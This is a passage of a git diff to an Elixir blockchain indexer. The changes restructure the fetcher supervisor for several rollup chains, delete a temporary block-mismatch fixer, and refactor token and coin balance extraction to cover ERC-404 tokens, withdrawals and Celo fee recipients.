memory_monitor]]}, + {TokenInstanceRetry.Supervisor, [[memory_monitor: memory_monitor]]}, + {TokenInstanceSanitize.Supervisor, [[memory_monitor: memory_monitor]]}, + configure(TokenInstanceSanitizeERC721, [[memory_monitor: memory_monitor]]), + configure(TokenInstanceSanitizeERC1155, [[memory_monitor: memory_monitor]]), + configure(TransactionAction.Supervisor, [[memory_monitor: memory_monitor]]), + {ContractCode.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {TokenBalance.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {TokenUpdater.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {TokenCountersUpdater.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {ReplacedTransaction.Supervisor, [[memory_monitor: memory_monitor]]}, + {MultichainSearchDbMainExportQueue.Supervisor, [[memory_monitor: memory_monitor]]}, + {MultichainSearchDbBalancesExportQueue.Supervisor, [[memory_monitor: memory_monitor]]}, + {MultichainSearchDbTokenInfoExportQueue.Supervisor, [[memory_monitor: memory_monitor]]}, + {MultichainSearchDbCountersExportQueue.Supervisor, [[memory_monitor: memory_monitor]]}, + {MultichainSearchDbCountersFetcher.Supervisor, [[memory_monitor: memory_monitor]]}, + {Indexer.Fetcher.RollupL1ReorgMonitor.Supervisor, [[memory_monitor: memory_monitor]]}, + configure( + Indexer.Fetcher.Optimism.TransactionBatch.Supervisor, + [[memory_monitor: memory_monitor, json_rpc_named_arguments: json_rpc_named_arguments]] + ), + configure(Indexer.Fetcher.Optimism.OutputRoot.Supervisor, [[memory_monitor: memory_monitor]]), + configure(Indexer.Fetcher.Optimism.DisputeGame.Supervisor, [[memory_monitor: memory_monitor]]), + configure(Indexer.Fetcher.Optimism.Deposit.Supervisor, [[memory_monitor: memory_monitor]]), + configure( + Indexer.Fetcher.Optimism.Withdrawal.Supervisor, + [[memory_monitor: memory_monitor, json_rpc_named_arguments: json_rpc_named_arguments]] + ), + configure(Indexer.Fetcher.Optimism.WithdrawalEvent.Supervisor, [[memory_monitor: memory_monitor]]), + { + Indexer.Fetcher.Optimism.EIP1559ConfigUpdate.Supervisor, + [[memory_monitor: memory_monitor, json_rpc_named_arguments: json_rpc_named_arguments]] + }, + { + Indexer.Fetcher.Optimism.Interop.Message.Supervisor, + [[memory_monitor: memory_monitor, json_rpc_named_arguments: json_rpc_named_arguments]] + }, + { + Indexer.Fetcher.Optimism.Interop.MessageFailed.Supervisor, + [[memory_monitor: memory_monitor, json_rpc_named_arguments: json_rpc_named_arguments]] + }, + { + Indexer.Fetcher.Optimism.Interop.MessageQueue.Supervisor, + [[memory_monitor: memory_monitor, json_rpc_named_arguments: json_rpc_named_arguments]] + }, + { + Indexer.Fetcher.Optimism.Interop.MultichainExport.Supervisor, + [[memory_monitor: memory_monitor]] + }, + configure(Indexer.Fetcher.Shibarium.L2.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(Indexer.Fetcher.Shibarium.L1.Supervisor, [[memory_monitor: memory_monitor]]), + {Indexer.Fetcher.Scroll.BridgeL1.Supervisor, + [ + [memory_monitor: memory_monitor] + ]}, + {Indexer.Fetcher.Scroll.BridgeL2.Supervisor, + [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]}, + {Indexer.Fetcher.Scroll.L1FeeParam.Supervisor, + [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]}, + {Indexer.Fetcher.Scroll.Batch.Supervisor, + [ + [memory_monitor: memory_monitor] + ]}, + configure(Indexer.Fetcher.PolygonZkevm.BridgeL1.Supervisor, [[memory_monitor: memory_monitor]]), + configure(Indexer.Fetcher.PolygonZkevm.BridgeL1Tokens.Supervisor, [[memory_monitor: memory_monitor]]), + configure(Indexer.Fetcher.PolygonZkevm.BridgeL2.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(ZkSyncTransactionBatch.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(ZkSyncBatchesStatusTracker.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(Indexer.Fetcher.PolygonZkevm.TransactionBatch.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(ArbitrumTrackingMessagesOnL1.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(ArbitrumTrackingBatchesStatuses.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(ArbitrumRollupMessagesCatchup.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + {ArbitrumMessagesToL2Matcher.Supervisor, [[memory_monitor: memory_monitor]]}, + {ArbitrumDataBackfill.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + configure(Indexer.Fetcher.Celo.ValidatorGroupVotes.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + configure(Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, [ + [json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor] + ]), + {Indexer.Fetcher.Filecoin.AddressInfo.Supervisor, + [ [ - %{block_fetcher: realtime_block_fetcher, subscribe_named_arguments: realtime_subscribe_named_arguments}, - [name: Realtime.Supervisor] - ]} - ] - else - [] - end + json_rpc_named_arguments: json_rpc_named_arguments, + memory_monitor: memory_monitor + ] + ]}, + {Indexer.Fetcher.Zilliqa.ScillaSmartContracts.Supervisor, [[memory_monitor: memory_monitor]]}, + {Indexer.Fetcher.Beacon.Blob.Supervisor, [[memory_monitor: memory_monitor]]}, + {Indexer.Fetcher.Beacon.Deposit.Supervisor, []}, + {Indexer.Fetcher.Beacon.Deposit.Status.Supervisor, []}, + {Indexer.Fetcher.SignedAuthorizationStatus.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - basic_fetchers = [ - # Root fetchers - {Catchup.Supervisor, - [ - %{block_fetcher: block_fetcher, block_interval: block_interval, memory_monitor: memory_monitor}, - [name: Catchup.Supervisor] - ]}, - - # Async catchup fetchers - {UncleBlock.Supervisor, [[block_fetcher: block_fetcher, memory_monitor: memory_monitor]]}, - {BlockReward.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {InternalTransaction.Supervisor, - [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {CoinBalance.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {Token.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {TokenInstance.Supervisor, - [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {ContractCode.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {TokenBalance.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {TokenUpdater.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {ReplacedTransaction.Supervisor, [[memory_monitor: memory_monitor]]}, - - # Out-of-band fetchers - {CoinBalanceOnDemand.Supervisor, [json_rpc_named_arguments]}, - {EmptyBlocksSanitizer.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, - {TokenTotalSupplyOnDemand.Supervisor, [json_rpc_named_arguments]}, - {PendingTransactionsSanitizer, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, - - # Temporary workers - {UncatalogedTokenTransfers.Supervisor, [[]]}, - {UnclesWithoutIndex.Supervisor, - [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {BlocksTransactionsMismatch.Supervisor, - [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, - {PendingOpsCleaner, [[], []]} - ] + # Out-of-band fetchers + {EmptyBlocksSanitizer.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, + {PendingTransactionsSanitizer, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, + {TokenTotalSupplyUpdater, [[]]}, + AddressNonceUpdater, + + # Notifications cleaner + configure(EventNotificationsCleaner, [[]]), + + # Temporary workers + {UncatalogedTokenTransfers.Supervisor, [[]]}, + {UnclesWithoutIndex.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {PendingOpsCleaner, [[], []]}, + {PendingBlockOperationsSanitizer, [[]]}, + {RootstockData.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, + configure(RecoveryWETHTokenTransfers, [[memory_monitor: memory_monitor]]), + + # Block fetchers + configure(BlockRealtime.Supervisor, [ + %{block_fetcher: realtime_block_fetcher, subscribe_named_arguments: realtime_subscribe_named_arguments}, + [name: BlockRealtime.Supervisor] + ]), + configure( + BlockCatchup.Supervisor, + [ + %{block_fetcher: block_fetcher, block_interval: block_interval, memory_monitor: memory_monitor}, + [name: BlockCatchup.Supervisor] + ] + ), + {Withdrawal.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]} + ] + |> List.flatten() all_fetchers = - [ - {PendingTransaction.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]} - ] ++ - realtime_fetcher ++ - basic_fetchers + basic_fetchers + |> maybe_add_bridged_tokens_fetchers() + |> add_chain_type_dependent_fetchers() + |> maybe_add_block_reward_fetcher( + {BlockReward.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]} + ) + |> maybe_add_nft_media_handler_processes() Supervisor.init( all_fetchers, strategy: :one_for_one ) end + + defp maybe_add_bridged_tokens_fetchers(basic_fetchers) do + extended_fetchers = + if BridgedToken.enabled?() && BridgedToken.necessary_envs_passed?() do + [{CalcLpTokensTotalLiquidity, [[], []]}, {SetOmniBridgedMetadataForTokens, [[], []]}] ++ basic_fetchers + else + basic_fetchers + end + + amb_bridge_mediators = Application.get_env(:explorer, Explorer.Chain.BridgedToken)[:amb_bridge_mediators] + + if BridgedToken.enabled?() && amb_bridge_mediators && amb_bridge_mediators !== "" do + [{SetAmbBridgedMetadataForTokens, [[], []]} | extended_fetchers] + else + extended_fetchers + end + end + + @variants_with_implemented_fetch_beneficiaries [ + EthereumJSONRPC.Besu, + EthereumJSONRPC.Erigon, + EthereumJSONRPC.Nethermind + ] + + defp maybe_add_block_reward_fetcher( + fetchers, + {_, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: _memory_monitor]]} = params + ) do + case Keyword.fetch(json_rpc_named_arguments, :variant) do + {:ok, ignored_variant} when ignored_variant not in @variants_with_implemented_fetch_beneficiaries -> + Application.put_env(:indexer, Indexer.Fetcher.BlockReward.Supervisor, disabled?: true) + fetchers + + _ -> + [params | fetchers] + end + end + + defp add_chain_type_dependent_fetchers(fetchers) do + case Application.get_env(:explorer, :chain_type) do + :stability -> + [{ValidatorStability, []} | fetchers] + + :blackfort -> + [{ValidatorBlackfort, []} | fetchers] + + _ -> + fetchers + end + end + + defp maybe_add_nft_media_handler_processes(fetchers) do + base_children = [ + Indexer.NFTMediaHandler.Queue, + {Cachex, + [ + Application.get_env(:nft_media_handler, :cache_uniqueness_name), + [ + hooks: [ + hook( + module: Cachex.Limit.Scheduled, + args: { + # setting cache max size + Application.get_env(:nft_media_handler, :cache_uniqueness_max_size), + # options for `Cachex.prune/3` + [], + # options for `Cachex.Limit.Scheduled` + [] + } + ) + ] + ] + ]} + ] + + children = + if Application.get_env(:nft_media_handler, Indexer.NFTMediaHandler.Backfiller)[:enabled?] do + [Indexer.NFTMediaHandler.Backfiller | base_children] + else + base_children + end + + if Application.get_env(:nft_media_handler, :enabled?) && !Application.get_env(:nft_media_handler, :worker?) do + fetchers ++ children + else + fetchers + end + end + + defp configure(process, opts) do + # todo: shouldn't we pay attention to process.disabled?() predicate? + if Application.get_env(:indexer, process)[:enabled] do + [{process, opts}] + else + [] + end + end end diff --git a/apps/indexer/lib/indexer/temporary/blocks_transactions_mismatch.ex b/apps/indexer/lib/indexer/temporary/blocks_transactions_mismatch.ex deleted file mode 100644 index a1c9f5befc0f..000000000000 --- a/apps/indexer/lib/indexer/temporary/blocks_transactions_mismatch.ex +++ /dev/null @@ -1,140 +0,0 @@ -defmodule Indexer.Temporary.BlocksTransactionsMismatch do - @moduledoc """ - Fetches `consensus` `t:Explorer.Chain.Block.t/0` and compares their transaction - number against a node, to revoke `consensus` on mismatch. - - This is meant to fix incorrectly strored transactions that happened as a result - of a race condition due to the asynchronicity of indexer's components. - """ - - use Indexer.Fetcher - - require Logger - - import Ecto.Query - - alias EthereumJSONRPC.Blocks - alias Explorer.Chain.Block - alias Explorer.Repo - alias Indexer.BufferedTask - - @behaviour BufferedTask - - @defaults [ - flush_interval: :timer.seconds(3), - max_batch_size: 50, - max_concurrency: 1, - task_supervisor: Indexer.Temporary.BlocksTransactionsMismatch.TaskSupervisor, - metadata: [fetcher: :blocks_transactions_mismatch] - ] - - @doc false - # credo:disable-for-next-line Credo.Check.Design.DuplicatedCode - def child_spec([init_options, gen_server_options]) when is_list(init_options) do - {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) - - unless state do - raise ArgumentError, - ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec " <> - "to allow for json_rpc calls when running." - end - - merged_init_options = - @defaults - |> Keyword.merge(mergeable_init_options) - |> Keyword.put(:state, state) - - Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_options}, gen_server_options]}, id: __MODULE__) - end - - @impl BufferedTask - def init(initial, reducer, _) do - query = - from(block in Block, - left_join: transactions in assoc(block, :transactions), - where: block.consensus and block.refetch_needed, - group_by: block.hash, - select: {block.hash, count(transactions.hash)} - ) - - {:ok, final} = Repo.stream_reduce(query, initial, &reducer.(&1, &2)) - - final - end - - @impl BufferedTask - def run(blocks_data, json_rpc_named_arguments) do - hashes = Enum.map(blocks_data, fn {hash, _trans_num} -> hash end) - - Logger.debug("fetching") - - case EthereumJSONRPC.fetch_blocks_by_hash(hashes, json_rpc_named_arguments) do - {:ok, blocks} -> - run_blocks(blocks, blocks_data) - - {:error, reason} -> - Logger.error(fn -> ["failed to fetch: ", inspect(reason)] end) - {:retry, blocks_data} - end - end - - defp run_blocks(%Blocks{blocks_params: []}, blocks_data), do: {:retry, blocks_data} - - defp run_blocks( - %Blocks{transactions_params: transactions_params, blocks_params: blocks_params}, - blocks_data - ) do - blocks_with_transactions_map = - transactions_params - |> Enum.group_by(&Map.fetch!(&1, :block_hash)) - |> Map.new(fn {block_hash, trans_lst} -> {block_hash, Enum.count(trans_lst)} end) - - found_blocks_map = - blocks_params - |> Map.new(&{Map.fetch!(&1, :hash), 0}) - |> Map.merge(blocks_with_transactions_map) - - {found_blocks_data, missing_blocks_data} = - Enum.split_with(blocks_data, fn {hash, _trans_num} -> - Map.has_key?(found_blocks_map, to_string(hash)) - end) - - {matching_blocks_data, unmatching_blocks_data} = - Enum.split_with(found_blocks_data, fn {hash, trans_num} -> - found_blocks_map[to_string(hash)] == trans_num - end) - - unless Enum.empty?(matching_blocks_data) do - matching_blocks_data - |> Enum.map(fn {hash, _trans_num} -> hash end) - |> update_in_order(refetch_needed: false) - end - - unless Enum.empty?(unmatching_blocks_data) do - unmatching_blocks_data - |> Enum.map(fn {hash, _trans_num} -> hash end) - |> update_in_order(refetch_needed: false, consensus: false) - end - - if Enum.empty?(missing_blocks_data) do - :ok - else - {:retry, missing_blocks_data} - end - end - - defp update_in_order(hashes, fields_to_set) do - query = - from(block in Block, - where: block.hash in ^hashes, - # Enforce Block ShareLocks order (see docs: sharelocks.md) - order_by: [asc: block.hash], - lock: "FOR UPDATE" - ) - - Repo.update_all( - from(b in Block, join: s in subquery(query), on: b.hash == s.hash), - set: fields_to_set - ) - end -end diff --git a/apps/indexer/lib/indexer/temporary/uncataloged_token_transfers.ex b/apps/indexer/lib/indexer/temporary/uncataloged_token_transfers.ex index 8b0d62628bba..53664810aa77 100644 --- a/apps/indexer/lib/indexer/temporary/uncataloged_token_transfers.ex +++ b/apps/indexer/lib/indexer/temporary/uncataloged_token_transfers.ex @@ -1,6 +1,6 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfers do @moduledoc """ - Catalogs token tranfer logs missing an accompanying token transfer record. + Catalogs token transfer logs missing an accompanying token transfer record. Missed token transfers happen due to formats that aren't supported at the time they were parsed during main indexing. Updated the parser and rebooting will allow @@ -12,8 +12,8 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfers do require Logger - alias Explorer.Chain - alias Indexer.Block.Catchup.Fetcher + alias Explorer.Chain.TokenTransfer + alias Explorer.Utility.MissingRangesManipulator alias Indexer.Temporary.UncatalogedTokenTransfers def child_spec([init_arguments]) do @@ -52,7 +52,7 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfers do end def handle_info(:scan, state) do - {:ok, block_numbers} = Chain.uncataloged_token_transfer_block_numbers() + {:ok, block_numbers} = TokenTransfer.uncataloged_token_transfer_block_numbers() case block_numbers do [] -> @@ -94,6 +94,11 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfers do end defp async_push_front(block_numbers) do - Task.Supervisor.async_nolink(UncatalogedTokenTransfers.TaskSupervisor, Fetcher, :push_front, [block_numbers]) + Task.Supervisor.async_nolink( + UncatalogedTokenTransfers.TaskSupervisor, + MissingRangesManipulator, + :add_ranges_by_block_numbers, + [block_numbers] + ) end end diff --git a/apps/indexer/lib/indexer/temporary/uncles_without_index.ex b/apps/indexer/lib/indexer/temporary/uncles_without_index.ex index 12f133ff1aff..79abdc18147a 100644 --- a/apps/indexer/lib/indexer/temporary/uncles_without_index.ex +++ b/apps/indexer/lib/indexer/temporary/uncles_without_index.ex @@ -51,14 +51,16 @@ defmodule Indexer.Temporary.UnclesWithoutIndex do def init(initial, reducer, _) do query = from(bsdr in SecondDegreeRelation, - join: b in assoc(bsdr, :nephew), - where: is_nil(bsdr.index) and is_nil(bsdr.uncle_fetched_at) and b.consensus, + join: block in assoc(bsdr, :nephew), + where: is_nil(bsdr.index) and is_nil(bsdr.uncle_fetched_at) and block.consensus == true, select: bsdr.nephew_hash, group_by: bsdr.nephew_hash ) {:ok, final} = - Repo.stream_reduce(query, initial, fn nephew_hash, acc -> + query + |> Chain.add_fetcher_limit(true) + |> Repo.stream_reduce(initial, fn nephew_hash, acc -> nephew_hash |> to_string() |> reducer.(acc) diff --git a/apps/indexer/lib/indexer/token_balances.ex b/apps/indexer/lib/indexer/token_balances.ex index e53347f90ba9..78180c997864 100644 --- a/apps/indexer/lib/indexer/token_balances.ex +++ b/apps/indexer/lib/indexer/token_balances.ex @@ -8,12 +8,10 @@ defmodule Indexer.TokenBalances do require Indexer.Tracer require Logger - alias Explorer.Chain alias Explorer.Token.BalanceReader - alias Indexer.Fetcher.TokenBalance alias Indexer.Tracer - @erc1155_balance_function_abi [ + @nft_balance_function_abi [ %{ "constant" => true, "inputs" => [%{"name" => "_owner", "type" => "address"}, %{"name" => "_id", "type" => "uint256"}], @@ -39,53 +37,53 @@ defmodule Indexer.TokenBalances do * `address_hash` - The address_hash that we want to know the balance. * `block_number` - The block number that the address_hash has the balance. * `token_type` - type of the token that balance belongs to - * `token_id` - token id for ERC-1155 tokens + * `token_id` - token id for ERC-1155/ERC-404 tokens """ - def fetch_token_balances_from_blockchain([]), do: {:ok, []} + def fetch_token_balances_from_blockchain([]), do: {:ok, %{fetched_token_balances: [], failed_token_balances: []}} @decorate span(tracer: Tracer) def fetch_token_balances_from_blockchain(token_balances) do Logger.debug("fetching token balances", count: Enum.count(token_balances)) - regular_token_balances = + ft_token_balances = token_balances - |> Enum.filter(fn request -> - if Map.has_key?(request, :token_type) do - request.token_type !== "ERC-1155" + |> Enum.filter(fn token_balance -> + if Map.has_key?(token_balance, :token_type) do + token_balance.token_type !== "ERC-1155" && !(token_balance.token_type == "ERC-404" && token_balance.token_id) else true end end) - erc1155_token_balances = + nft_token_balances = token_balances - |> Enum.filter(fn request -> - if Map.has_key?(request, :token_type) do - request.token_type == "ERC-1155" + |> Enum.filter(fn token_balance -> + if Map.has_key?(token_balance, :token_type) do + token_balance.token_type == "ERC-1155" || (token_balance.token_type == "ERC-404" && token_balance.token_id) else false end end) - requested_regular_token_balances = - regular_token_balances + requested_ft_token_balances = + ft_token_balances |> BalanceReader.get_balances_of() - |> Stream.zip(regular_token_balances) + |> Stream.zip(ft_token_balances) |> Enum.map(fn {result, token_balance} -> set_token_balance_value(result, token_balance) end) - requested_erc1155_token_balances = - erc1155_token_balances - |> BalanceReader.get_balances_of_with_abi(@erc1155_balance_function_abi) - |> Stream.zip(erc1155_token_balances) + requested_nft_token_balances = + nft_token_balances + |> BalanceReader.get_balances_of_with_abi(@nft_balance_function_abi) + |> Stream.zip(nft_token_balances) |> Enum.map(fn {result, token_balance} -> set_token_balance_value(result, token_balance) end) - requested_token_balances = requested_regular_token_balances ++ requested_erc1155_token_balances + requested_token_balances = requested_ft_token_balances ++ requested_nft_token_balances fetched_token_balances = Enum.filter(requested_token_balances, &ignore_request_with_errors/1) requested_token_balances |> handle_killed_tasks(token_balances) |> unfetched_token_balances(fetched_token_balances) - |> schedule_token_balances + |> log_fetching_errors() failed_token_balances = requested_token_balances @@ -119,27 +117,6 @@ defmodule Indexer.TokenBalances do Map.merge(token_balance, %{value: nil, value_fetched_at: nil, error: error_message}) end - defp schedule_token_balances([]), do: nil - - defp schedule_token_balances(unfetched_token_balances) do - Logger.debug(fn -> "#{Enum.count(unfetched_token_balances)} token balances will be retried" end) - - log_fetching_errors(unfetched_token_balances) - - unfetched_token_balances - |> Enum.map(fn token_balance -> - {:ok, address_hash} = Chain.string_to_address_hash(token_balance.address_hash) - {:ok, token_hash} = Chain.string_to_address_hash(token_balance.token_contract_address_hash) - - Map.merge(token_balance, %{ - address_hash: address_hash, - token_contract_address_hash: token_hash, - block_number: token_balance.block_number - }) - end) - |> TokenBalance.async_fetch() - end - defp ignore_request_with_errors(%{value: nil, value_fetched_at: nil, error: _error}), do: false defp ignore_request_with_errors(_token_balance), do: true @@ -161,7 +138,7 @@ defmodule Indexer.TokenBalances do end) if Enum.any?(error_messages) do - Logger.debug( + Logger.error( [ "Errors while fetching TokenBalances through Contract interaction: \n", error_messages diff --git a/apps/indexer/lib/indexer/transform/address_coin_balances.ex b/apps/indexer/lib/indexer/transform/address_coin_balances.ex index cd71508bc2cc..a5ddb2f2428d 100644 --- a/apps/indexer/lib/indexer/transform/address_coin_balances.ex +++ b/apps/indexer/lib/indexer/transform/address_coin_balances.ex @@ -2,6 +2,9 @@ defmodule Indexer.Transform.AddressCoinBalances do @moduledoc """ Extracts `Explorer.Chain.Address.CoinBalance` params from other schema's params. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.TokenTransfer def params_set(%{} = import_options) do Enum.reduce(import_options, MapSet.new(), &reducer/2) @@ -15,11 +18,7 @@ defmodule Indexer.Transform.AddressCoinBalances do end defp reducer({:blocks_params, blocks_params}, acc) when is_list(blocks_params) do - # a block MUST have a miner_hash and number - Enum.into(blocks_params, acc, fn %{miner_hash: address_hash, number: block_number} - when is_binary(address_hash) and is_integer(block_number) -> - %{address_hash: address_hash, block_number: block_number} - end) + Enum.reduce(blocks_params, acc, &blocks_params_reducer/2) end defp reducer({:internal_transactions_params, internal_transactions_params}, initial) @@ -30,6 +29,11 @@ defmodule Indexer.Transform.AddressCoinBalances do defp reducer({:logs_params, logs_params}, acc) when is_list(logs_params) do # a log MUST have address_hash and block_number logs_params + |> Enum.reject( + &(&1.first_topic == TokenTransfer.constant() or + &1.first_topic == TokenTransfer.erc1155_single_transfer_signature() or + &1.first_topic == TokenTransfer.erc1155_batch_transfer_signature()) + ) |> Enum.into(acc, fn %{address_hash: address_hash, block_number: block_number} when is_binary(address_hash) and is_integer(block_number) -> @@ -50,23 +54,51 @@ defmodule Indexer.Transform.AddressCoinBalances do when is_list(block_second_degree_relations_params), do: initial + defp reducer({:withdrawals, withdrawals}, acc) when is_list(withdrawals) do + Enum.into(withdrawals, acc, fn %{address_hash: address_hash, block_number: block_number} + when is_binary(address_hash) and is_integer(block_number) -> + %{address_hash: address_hash, block_number: block_number} + end) + end + + defp blocks_params_reducer(%{miner_hash: address_hash, number: block_number}, acc) + when is_binary(address_hash) and is_integer(block_number) do + MapSet.put(acc, %{address_hash: address_hash, block_number: block_number}) + end + + defp blocks_params_reducer(_block_params, acc), do: acc + defp internal_transactions_params_reducer(%{block_number: block_number} = internal_transaction_params, acc) when is_integer(block_number) do case internal_transaction_params do - %{type: "call"} -> + %{error: _} -> acc - %{type: "create", error: _} -> + %{type: "call", call_type: call_type, value: value} = params when call_type in ~w(call invalid) and value > 0 -> acc + |> process_internal_transaction_field(params, :from_address_hash, block_number) + |> process_internal_transaction_field(params, :to_address_hash, block_number) - %{type: "create", created_contract_address_hash: address_hash} when is_binary(address_hash) -> - MapSet.put(acc, %{address_hash: address_hash, block_number: block_number}) + %{type: type} = params when type in ~w(create create2) -> + acc + |> process_internal_transaction_field(params, :from_address_hash, block_number) + |> process_internal_transaction_field(params, :created_contract_address_hash, block_number) %{type: "selfdestruct", from_address_hash: from_address_hash, to_address_hash: to_address_hash} when is_binary(from_address_hash) and is_binary(to_address_hash) -> acc |> MapSet.put(%{address_hash: from_address_hash, block_number: block_number}) |> MapSet.put(%{address_hash: to_address_hash, block_number: block_number}) + + _params -> + acc + end + end + + defp process_internal_transaction_field(acc, params, field, block_number) do + case Map.get(params, field) do + nil -> acc + address_hash -> MapSet.put(acc, %{address_hash: address_hash, block_number: block_number}) end end @@ -76,15 +108,39 @@ defmodule Indexer.Transform.AddressCoinBalances do ) when is_integer(block_number) and is_binary(from_address_hash) do # a transaction MUST have a `from_address_hash` - acc = MapSet.put(initial, %{address_hash: from_address_hash, block_number: block_number}) + initial + |> MapSet.put(%{address_hash: from_address_hash, block_number: block_number}) + |> (&(case transaction_params do + %{to_address_hash: to_address_hash} when is_binary(to_address_hash) -> + MapSet.put(&1, %{address_hash: to_address_hash, block_number: block_number}) - # `to_address_hash` is optional - case transaction_params do - %{to_address_hash: to_address_hash} when is_binary(to_address_hash) -> - MapSet.put(acc, %{address_hash: to_address_hash, block_number: block_number}) + _ -> + &1 + end)).() + |> (&transactions_params_chain_type_fields_reducer(transaction_params, &1)).() + end - _ -> - acc + if @chain_type == :celo do + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + @burn_address_hash_string burn_address_hash_string() + + # todo: subject for deprecation, since celo transactions with + # gatewayFeeRecipient are deprecated + defp transactions_params_chain_type_fields_reducer( + %{ + block_number: block_number, + gas_fee_recipient_address_hash: recipient_address_hash, + gas_token_contract_address_hash: nil + }, + initial + ) + when is_integer(block_number) and + is_binary(recipient_address_hash) and + recipient_address_hash != @burn_address_hash_string do + MapSet.put(initial, %{address_hash: recipient_address_hash, block_number: block_number}) end end + + defp transactions_params_chain_type_fields_reducer(_, acc), do: acc end diff --git a/apps/indexer/lib/indexer/transform/address_token_balances.ex b/apps/indexer/lib/indexer/transform/address_token_balances.ex index ab6bb02fee8d..288757d313c4 100644 --- a/apps/indexer/lib/indexer/transform/address_token_balances.ex +++ b/apps/indexer/lib/indexer/transform/address_token_balances.ex @@ -3,7 +3,7 @@ defmodule Indexer.Transform.AddressTokenBalances do Extracts `Explorer.Address.TokenBalance` params from other schema's params. """ - @burn_address "0x0000000000000000000000000000000000000000" + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] def params_set(%{} = import_options) do Enum.reduce(import_options, MapSet.new(), &reducer/2) @@ -11,38 +11,29 @@ defmodule Indexer.Transform.AddressTokenBalances do defp reducer({:token_transfers_params, token_transfers_params}, initial) when is_list(token_transfers_params) do token_transfers_params - |> ignore_burn_address_transfers_for_token_erc_721 |> Enum.reduce(initial, fn %{ block_number: block_number, from_address_hash: from_address_hash, to_address_hash: to_address_hash, token_contract_address_hash: token_contract_address_hash, - token_id: token_id, - token_type: token_type - } = params, + token_ids: token_ids, + token: %{type: token_type} + }, acc when is_integer(block_number) and is_binary(from_address_hash) and is_binary(to_address_hash) and is_binary(token_contract_address_hash) -> - if params[:token_ids] && token_type == "ERC-1155" do - params[:token_ids] - |> Enum.reduce(acc, fn id, sub_acc -> - sub_acc - |> add_token_balance_address(from_address_hash, token_contract_address_hash, id, token_type, block_number) - |> add_token_balance_address(to_address_hash, token_contract_address_hash, id, token_type, block_number) - end) - else - acc - |> add_token_balance_address(from_address_hash, token_contract_address_hash, token_id, token_type, block_number) - |> add_token_balance_address(to_address_hash, token_contract_address_hash, token_id, token_type, block_number) - end + sanitized_token_ids = + if is_nil(token_ids) || (is_list(token_ids) && Enum.empty?(token_ids)), do: [nil], else: token_ids + + Enum.reduce(sanitized_token_ids, acc, fn id, sub_acc -> + sub_acc + |> add_token_balance_address(from_address_hash, token_contract_address_hash, id, token_type, block_number) + |> add_token_balance_address(to_address_hash, token_contract_address_hash, id, token_type, block_number) + end) end) end - defp ignore_burn_address_transfers_for_token_erc_721(token_transfers_params) do - Enum.filter(token_transfers_params, 